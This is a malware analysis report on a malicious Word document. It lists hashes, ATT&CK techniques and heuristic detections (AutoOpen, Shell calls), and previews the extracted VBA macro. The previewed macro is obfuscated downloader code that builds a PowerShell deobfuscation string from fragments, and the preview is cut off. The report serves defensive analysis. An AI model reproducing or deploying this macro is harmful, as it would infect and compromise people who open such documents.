Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8755241d0c87b0bf…

MALICIOUS

Office (OLE)

125.5 KB Created: 2018-06-22 11:38:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: b7e8540d874e48bce3826120ee19700d SHA-1: 3b739e79cf652d33930198c256b1981073188009 SHA-256: 8755241d0c87b0bf0377c131b88d22565214960081e6090299441fbae89bbbeb
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical indicator of malicious activity, to execute commands. The presence of an AutoOpen macro further suggests an attempt to automatically run malicious code upon opening the document. The macro's obfuscated string concatenation, such as 'Hel' + 'l ' + '.(' + ' $' + 'veR' + 'bo' + 'SE' + 'pr' + 'EF' + 'er' + 'eN' + 'Ce.' + 'tO' + 'sTR' + 'inG' + '()' + '[1,' + '3]+', indicates an attempt to hide its true functionality, likely to download and execute a secondary payload.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29096 bytes
SHA-256: 7b3e51a4c03abeb2cbd206ed78ff3ea165efefc910ce3965ba15c72ad908c06a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iWFMvNizNOw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HmCNbzNhIiW"
Function qAHwXkaRw()
On Error Resume Next
pwXJGz = (zRQCj * 74759 + 18002 * CInt(XqWbpl - CDbl(8601)) * 63195 * Oct(7362))
CwioM = "Hel" + "l  " + ".(" + " $" + "veR" + "bo" + "SE"
CClRKL = (MMRCLc * 5034 + 57278 * CInt(JTzvk - CDbl(37345)) * 23569 * Oct(44913))
ENlqEBiIw = "pr" + "EF" + "er" + "eN"
ZKnlsk = (TYDzo * 66552 + 13824 * CInt(FXZrt - CDbl(22267)) * 26245 * Oct(39199))
sUkbTR = "Ce." + "tO" + "sTR"
cckjIA = (qNlkAJ * 50919 + 38992 * CInt(krDwjZ - CDbl(51941)) * 24348 * Oct(83927))
SPXzAPIl = "inG" + "()" + "[1," + "3]+"
qAHwXkaRw = CwioM + ENlqEBiIw + sUkbTR + SPXzAPIl
NtUdUM = (pJQzhL * 47611 + 39353 * CInt(awWEv - CDbl(94459)) * 10823 * Oct(21158))
End Function
Function OknAlmWFT()
On Error Resume Next
TJVRD = (XsRmp * 42554 + 68655 * CInt(XKTRD - CDbl(63272)) * 6392 * Oct(62094))
MfmJiLHVvrJ = "'x" + "'-" + "jOI" + "n'" + "')(" + " [" + "st"
iawipm = (QnJVAC * 40141 + 47523 * CInt(Ocptl - CDbl(59102)) * 70156 * Oct(82232))
NsEmWXSqjXr = "RI" + "ng" + "]:"
wucjBi = (nfrrE * 44654 + 65963 * CInt(XWBMO - CDbl(33351)) * 41892 * Oct(79393))
NzlBR = ":J" + "Oin" + "( '" + "' " + ", (" + " '3"
KoENmt = (pHwqsS * 69191 + 73467 * CInt(QNXdhB - CDbl(84168)) * 87907 * Oct(69196))
LrjwdKTsdsz = "7M9" + "8s6" + "6U" + "99"
PcXcN = (FhVMZr * 1630 + 73146 * CInt(BwYrNE - CDbl(74661)) * 30070 * Oct(64376))
PvZkfV = "P10" + "9k" + "96s" + "33" + "M6" + "0_3"
EwLNJz = (dPdWR * 60033 + 71467 * CInt(mlOZG - CDbl(48707)) * 23408 * Oct(71377))
zOCHzFH = "3t" + "11" + "1e" + "100" + "e1" + "18M" + "44_"
OknAlmWFT = MfmJiLHVvrJ + NsEmWXSqjXr + NzlBR + LrjwdKTsdsz + PvZkfV + zOCHzFH
jETCWS = (NqfJit * 37971 + 22353 * CInt(ONkIU - CDbl(68540)) * 33935 * Oct(75150))
End Function
Function RuUhMFatIX()
On Error Resume Next
aSYqbY = (NYhFdJ * 14043 + 95555 * CInt(JbAbi - CDbl(85932)) * 34447 * Oct(6128))
IwAiqcjph = "110" + "k9" + "9U" + "10" + "7s" + "10" + "0s9"
sMbdS = (mjXvzE * 44400 + 28557 * CInt(RRVmG - CDbl(72897)) * 9507 * Oct(11449))
hibCVnVA = "8e" + "117" + "_3" + "3s1" + "15" + "e96" + "_1"
GKIRLv = (AUjjMQ * 70158 + 13321 * CInt(SzlLwz - CDbl(73980)) * 24534 * Oct(87304))
fCpzrWwFUS = "11M" + "10" + "1_1" + "10k" + "10" + "8t5"
RXfwX = (GnWHoV * 40473 + 55086 * CInt(wjqfu - CDbl(758)) * 62661 * Oct(27154))
GOPfL = "8k" + "37_" + "87>" + "71"
ooTup = (YvYBd * 19943 + 41359 * CInt(IwGcN - CDbl(99744)) * 92795 * Oct(93817))
lmYrRFBD = "U1" + "16" + "U7" + "0M" + "96M"
IzzOvh = (JlJdIj * 37159 + 22196 * CInt(NitzTz - CDbl(6846)) * 55878 * Oct(21484))
PIVjA = "33t" + "60" + "_33" + "P1" + "11c"
joXSOF = (MLzpuc * 26928 + 48556 * CInt(sArQYc - CDbl(89496)) * 57803 * Oct(186))
jrcHRcV = "10" + "0s1" + "18" + "t44" + ">1"
RuUhMFatIX = IwAiqcjph + hibCVnVA + fCpzrWwFUS + GOPfL + lmYrRFBD + PIVjA + jrcHRcV
DzIJt = (CNwKm * 35547 + 90911 * CInt(QWIOJ - CDbl(36313)) * 11064 * Oct(59941))
End Function
Function HXqoFjPtPRH()
On Error Resume Next
cGClv = (GttSw * 4830 + 84895 * CInt(BDSrP - CDbl(30599)) * 28671 * Oct(8793))
vTOqz = "10P" + "99e" + "10" + "7_"
FUzCU = (UhLXbf * 4594 + 83020 * CInt(HDrQtz - CDbl(96758)) * 41178 * Oct(47001))
CWJdjIf = "10" + "0P9" + "8t1" + "17P" + "33" + "t8"
GLqaq = (JYhzQ * 91721 + 14054 * CInt(NYlliQ - CDbl(48129)) * 99073 * Oct(23258))
IufhKwiscQj = "2U" + "120" + "M1"
kMYwLZ = (wbjOV * 56582 + 12105 * CInt(ISHVu - CDbl(39614)) * 23196 * Oct(92836))
npjoC = "14" + "P11" + "7M" + "10" + "0P"
CUOMq = (tGzJq * 57556 + 83098 * CInt(MHpSU - CDbl(45111)) * 43510 * Oct(86148))
YInRvC = "10" + "8t4" + "7c" + "79c" + "100" + "k11"
HXqoFjPtPRH = vTOqz + CWJdjIf + IufhKwiscQj + npjoC + YInRvC
fPVwRi = (MYPRv * 82800 + 22212 * CInt(HTqIVT - CDbl(29959)) * 83779 * Oct(33558))
End Function
Function lkKsdIBWO()
On Error Resume Next
uNECr
... (truncated)

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